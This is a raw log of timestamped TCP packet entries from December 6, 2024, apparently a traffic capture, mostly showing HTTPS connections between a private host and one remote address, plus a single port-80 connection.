Dec 6, 2024 00:17:12.510696888 CET	443	50154	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.511056900 CET	443	50153	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.511249065 CET	50155	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.511265993 CET	443	50155	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.511490107 CET	50153	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.511502028 CET	443	50153	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.511614084 CET	50155	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.511622906 CET	443	50155	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.511945963 CET	50153	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.511950016 CET	443	50153	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.713223934 CET	443	50156	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.713912964 CET	50156	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.713932991 CET	443	50156	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.715233088 CET	50156	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.715236902 CET	443	50156	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.753952026 CET	443	50152	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.757014990 CET	443	50152	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.757046938 CET	443	50152	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.757075071 CET	50152	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.757107973 CET	50152	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.757122993 CET	443	50152	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.757133961 CET	50152	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.757133961 CET	50152	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.757141113 CET	443	50152	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.757147074 CET	443	50152	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.759568930 CET	50157	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.759609938 CET	443	50157	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.759677887 CET	50157	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.759802103 CET	50157	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.759818077 CET	443	50157	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.941776991 CET	443	50153	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.941890955 CET	443	50155	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.944801092 CET	443	50154	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.945838928 CET	443	50153	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.945857048 CET	443	50155	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.945889950 CET	443	50155	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.945889950 CET	50153	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.945909977 CET	50155	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.945919991 CET	50155	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.947905064 CET	443	50154	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.947947979 CET	50154	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.950684071 CET	50153	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.950697899 CET	443	50153	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.950721025 CET	50153	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.950727940 CET	443	50153	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.950865030 CET	50154	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.950874090 CET	443	50154	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.950884104 CET	50154	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.950886965 CET	443	50154	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.958897114 CET	50155	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.958897114 CET	50155	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.958904028 CET	443	50155	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.958909988 CET	443	50155	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.976186991 CET	50158	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.976212978 CET	443	50158	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.976274967 CET	50158	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.987658978 CET	50159	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.987682104 CET	443	50159	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.987740993 CET	50159	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.991767883 CET	50158	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.991780043 CET	443	50158	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.994806051 CET	50159	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.994820118 CET	443	50159	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.999792099 CET	50160	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.999814034 CET	443	50160	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:12.999861002 CET	50160	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.999962091 CET	50160	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:12.999979973 CET	443	50160	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:13.141973972 CET	443	50156	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:13.145085096 CET	443	50156	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:13.145163059 CET	50156	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:13.150015116 CET	50156	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:13.150023937 CET	443	50156	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:13.152698040 CET	50161	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:13.152719021 CET	443	50161	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:13.152784109 CET	50161	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:13.152915955 CET	50161	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:13.152925968 CET	443	50161	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.471374989 CET	443	50157	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.472224951 CET	50157	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:14.472254992 CET	443	50157	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.472739935 CET	50157	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:14.472747087 CET	443	50157	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.704647064 CET	443	50158	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.705418110 CET	50158	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:14.705446959 CET	443	50158	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.705893993 CET	50158	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:14.705899954 CET	443	50158	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.716324091 CET	443	50160	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.716696024 CET	50160	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:14.716716051 CET	443	50160	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.717061996 CET	50160	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:14.717067003 CET	443	50160	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.724548101 CET	443	50159	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.725050926 CET	50159	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:14.725075960 CET	443	50159	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.725704908 CET	50159	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:14.725714922 CET	443	50159	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.908749104 CET	443	50157	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.912291050 CET	443	50157	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.912327051 CET	443	50157	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.912360907 CET	50157	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:14.912403107 CET	50157	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:14.912475109 CET	50157	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:14.912493944 CET	443	50157	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.912520885 CET	50157	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:14.912527084 CET	443	50157	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.915493965 CET	50162	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:14.915524960 CET	443	50162	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.915596008 CET	50162	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:14.915759087 CET	50162	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:14.915775061 CET	443	50162	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.917649031 CET	443	50161	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.917992115 CET	50161	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:14.918010950 CET	443	50161	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:14.918411016 CET	50161	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:14.918416023 CET	443	50161	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.138632059 CET	443	50158	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.142143965 CET	443	50158	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.142302990 CET	50158	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.142462015 CET	50158	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.142478943 CET	443	50158	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.146560907 CET	443	50160	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.147011042 CET	50163	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.147033930 CET	443	50163	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.147139072 CET	50163	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.147699118 CET	50163	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.147710085 CET	443	50163	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.150130033 CET	443	50160	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.150242090 CET	50160	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.150310993 CET	50160	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.150320053 CET	443	50160	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.150346041 CET	50160	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.150350094 CET	443	50160	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.153588057 CET	50164	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.153614998 CET	443	50164	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.153764009 CET	50164	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.154192924 CET	50164	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.154207945 CET	443	50164	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.158569098 CET	443	50159	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.161890984 CET	443	50159	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.161927938 CET	443	50159	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.161959887 CET	50159	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.162072897 CET	50159	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.162159920 CET	50159	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.162164927 CET	443	50159	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.162174940 CET	50159	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.162178993 CET	443	50159	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.166085958 CET	50165	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.166105032 CET	443	50165	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.166169882 CET	50165	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.166265965 CET	50165	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.166274071 CET	443	50165	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.355176926 CET	443	50161	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.358325958 CET	443	50161	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.358359098 CET	443	50161	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.358369112 CET	50161	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.358400106 CET	50161	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.358460903 CET	50161	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.358473063 CET	443	50161	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.365509033 CET	50166	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.365533113 CET	443	50166	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:15.365586996 CET	50166	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.365881920 CET	50166	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:15.365895987 CET	443	50166	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:16.636413097 CET	443	50162	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:16.637083054 CET	50162	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:16.637096882 CET	443	50162	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:16.637898922 CET	50162	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:16.637904882 CET	443	50162	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:16.866955042 CET	443	50163	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:16.867388010 CET	50163	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:16.867423058 CET	443	50163	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:16.867897034 CET	50163	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:16.867902040 CET	443	50163	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:16.886044025 CET	443	50164	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:16.886060953 CET	443	50165	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:16.886965990 CET	50164	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:16.886993885 CET	443	50164	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:16.888225079 CET	50164	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:16.888230085 CET	443	50164	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:16.888823032 CET	50165	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:16.888843060 CET	443	50165	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:16.890012980 CET	50165	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:16.890017033 CET	443	50165	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.064198017 CET	443	50162	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.067641973 CET	443	50162	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.067722082 CET	50162	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.067789078 CET	50162	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.067790031 CET	50162	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.067810059 CET	443	50162	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.067817926 CET	443	50162	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.070466042 CET	50168	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.070501089 CET	443	50168	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.070585012 CET	50168	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.070755005 CET	50168	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.070770025 CET	443	50168	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.071261883 CET	443	50166	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.071640015 CET	50166	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.071662903 CET	443	50166	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.072035074 CET	50166	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.072040081 CET	443	50166	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.341388941 CET	443	50163	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.341450930 CET	443	50163	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.341523886 CET	50163	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.341779947 CET	50163	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.341799021 CET	443	50163	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.341810942 CET	50163	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.341818094 CET	443	50163	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.342349052 CET	443	50164	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.342611074 CET	443	50164	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.342670918 CET	50164	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.342704058 CET	50164	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.342720985 CET	443	50164	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.342730999 CET	50164	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.342736006 CET	443	50164	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.346673965 CET	443	50165	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.346777916 CET	443	50165	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.346827984 CET	50165	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.346904993 CET	50169	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.346942902 CET	443	50169	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.346993923 CET	50169	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.347203016 CET	50165	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.347218990 CET	443	50165	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.347229958 CET	50165	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.347234011 CET	443	50165	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.347558975 CET	50170	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.347589016 CET	443	50170	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.347641945 CET	50170	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.347714901 CET	50169	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.347729921 CET	443	50169	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.347804070 CET	50170	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.347819090 CET	443	50170	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.349360943 CET	50171	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.349370003 CET	443	50171	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.349452972 CET	50171	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.349581003 CET	50171	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.349590063 CET	443	50171	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.645493984 CET	443	50166	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.648494959 CET	443	50166	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.650815010 CET	50166	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.650919914 CET	50166	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.650942087 CET	443	50166	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.651015997 CET	50166	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.651022911 CET	443	50166	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.654818058 CET	50172	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.654845953 CET	443	50172	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:17.654913902 CET	50172	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.655368090 CET	50172	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:17.655380964 CET	443	50172	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:18.392824888 CET	49739	80	192.168.2.4	69.42.215.252
Dec 6, 2024 00:17:18.795022964 CET	443	50168	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:18.795461893 CET	50168	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:18.795483112 CET	443	50168	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:18.795893908 CET	50168	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:18.795900106 CET	443	50168	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.062505960 CET	443	50169	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.062930107 CET	50169	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.062953949 CET	443	50169	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.063528061 CET	50169	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.063534975 CET	443	50169	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.071705103 CET	443	50170	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.072015047 CET	50170	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.072031021 CET	443	50170	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.072196960 CET	443	50171	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.072396040 CET	50170	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.072401047 CET	443	50170	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.072694063 CET	50171	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.072700977 CET	443	50171	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.073079109 CET	50171	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.073082924 CET	443	50171	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.224726915 CET	443	50168	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.224750042 CET	443	50168	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.224776983 CET	443	50168	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.224797010 CET	50168	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.224828005 CET	50168	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.225035906 CET	50168	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.225052118 CET	443	50168	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.225060940 CET	50168	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.225065947 CET	443	50168	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.228168964 CET	50173	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.228199005 CET	443	50173	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.228271961 CET	50173	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.228578091 CET	50173	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.228590965 CET	443	50173	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.373641968 CET	443	50172	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.374093056 CET	50172	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.374114037 CET	443	50172	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.374533892 CET	50172	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.374540091 CET	443	50172	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.496303082 CET	443	50169	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.498004913 CET	443	50170	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.499391079 CET	443	50169	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.499444962 CET	443	50169	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.499502897 CET	50169	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.499536037 CET	50169	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.499552011 CET	443	50169	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.499566078 CET	50169	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.499571085 CET	443	50169	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.501240015 CET	443	50170	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.501491070 CET	50170	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.501646996 CET	50170	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.501663923 CET	443	50170	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.501673937 CET	50170	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.501679897 CET	443	50170	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.502140045 CET	50174	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.502168894 CET	443	50174	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.502526999 CET	50174	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.502760887 CET	50174	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.502774000 CET	443	50174	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.503844976 CET	50175	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.503874063 CET	443	50175	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.504224062 CET	50175	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.504343033 CET	50175	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.504354000 CET	443	50175	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.506699085 CET	443	50171	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.510572910 CET	443	50171	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.510628939 CET	50171	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.510662079 CET	50171	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.510667086 CET	443	50171	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.510689974 CET	50171	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.510693073 CET	443	50171	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.512423992 CET	50176	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.512449026 CET	443	50176	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.512533903 CET	50176	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.512639999 CET	50176	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.512654066 CET	443	50176	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.799858093 CET	443	50172	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.802134037 CET	443	50172	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.802169085 CET	443	50172	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.802234888 CET	50172	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.802275896 CET	50172	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.802288055 CET	443	50172	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.802323103 CET	50172	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.802326918 CET	443	50172	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.804807901 CET	50177	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.804835081 CET	443	50177	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:19.806588888 CET	50177	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.806749105 CET	50177	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:19.806766033 CET	443	50177	13.107.246.63	192.168.2.4
